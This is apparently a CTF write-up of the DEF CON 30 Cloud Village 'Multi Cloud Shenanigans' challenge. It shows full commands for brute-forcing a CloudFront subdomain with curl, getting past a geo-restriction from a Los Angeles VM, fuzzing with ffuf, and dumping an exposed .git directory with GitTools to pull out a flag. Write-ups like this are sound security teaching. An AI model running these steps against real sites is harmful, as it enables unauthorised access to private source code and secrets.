2022 Cloud Village CTF at DEF CON 30 - Multi Cloud Shenanigans


"Clair is a Google Cloud Administrator at PeopleBack Corp in California. Her company has acquired a product and to provide more availability to the customers they had to go multi-cloud setup.

The appication is not available to their customer outside California. Can you find the issue and get the content of the site?"


Hint

PeopleBackCorp recently acquired BeoShaft



After the hint was released, I finally had a hit using the Code Search feature on sourcegraph.com for one of the terms relating to the challenge: BeoShaft

From there, I browsed directly to https://github.com/BeoShaft and clicked through the small amount of contents in the repo until I saw this image:

"Word Art.jpeg"

The string "dc5vf5almyxxx" caught my attention right away. At first I thought this may be part of a URL for a lambda function. I crossed checked its length with a function that exists in my personal account and they didn't add up. Even if I removed the X's at the end of the string I still wouldn't know the function name. I went back to the image and looked for anything that might be a lambda function name. But then I was distracted by the string "cloudfront."

I know from working with cloudfront a bit that this could be a solid lead. I went back to my account and counted the characters and saw that they were the same. 

To figure out the values for "xxx," I used the following script to generate all possible combinations of lower case characters and numbers:

$ cat permute.sh

#!/bin/bash

charset=({a..z} {0..9})

permute(){

  (($1 == 0)) && { echo "$2"; return; }

  for char in "${charset[@]}"

  do

    permute "$((${1} - 1 ))" "$2$char"

  done

}

permute "$1"


$ permute.sh 3 >> list.txt

$ wc -l list.txt 

46656 list.txt


The math checked out; so I then started screen and ended up using a super slow for-loop:


$ for i in $(<list.txt);do echo >>results.txt && echo $i >> results.txt && curl -SI https://dc5vf5almy$i.cloudfront.net/ >>results.txt;done


Once this was finished, I looked at results.txt where I saw only one 403:


$ grep 403 results.txt -B1
sbn
HTTP/2 403 


I struggled more than I'd like to admit here; seeing how I had a similar experience with last year's "Sweating It Out" challenge. But, I realized I was targeting an AWS URL from an AWS instance and that the challenge was called "Multi Cloud Shenanigans." 


So I switched over to GCP and I sent a request from a VM in the Los Angelas region, and then I was able to successfully connect to the target site. 


Ultimately, I used ffuf to perform content discovery:

$ ./go/bin/ffuf -u https://dc5vf5almysbn.cloudfront.net/FUZZ -w SecLists/Discovery/Web-Content/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v1.5.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : https://dc5vf5almysbn.cloudfront.net/FUZZ
 :: Wordlist         : FUZZ: SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
.git/config             [Status: 200, Size: 150, Words: 14, Lines: 9, Duration: 14ms]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 109ms]
.git/index              [Status: 200, Size: 4450, Words: 27, Lines: 33, Duration: 150ms]
<SNIP>



Finding .git directories is always fun. I then used GitTool's gitdumper.sh against the target:


$ ./gitdumper.sh https://dc5vf5almysbn.cloudfront.net/.git dump1

Then, I used extractor.sh so I could grep through the contents:


$ ./extractor.sh ../Dumper/dump1 extract1


Finally, I grep'd for the flag:


$ grep -Ri flag- extract1/
extract1/2-6a60b5b7d330906c2a152f619bdf4dbbbaf75013/pricing/index.html:        <p class="mb-4">Let&rsquo;s talk about your requirements over a call - FLAG-{hk04MwP7XrTlu9QGyYQ0BP3SMILDr3Bx}</p>

Thanks for reading!

@strupo_

Find us on twitter: @teamWTG

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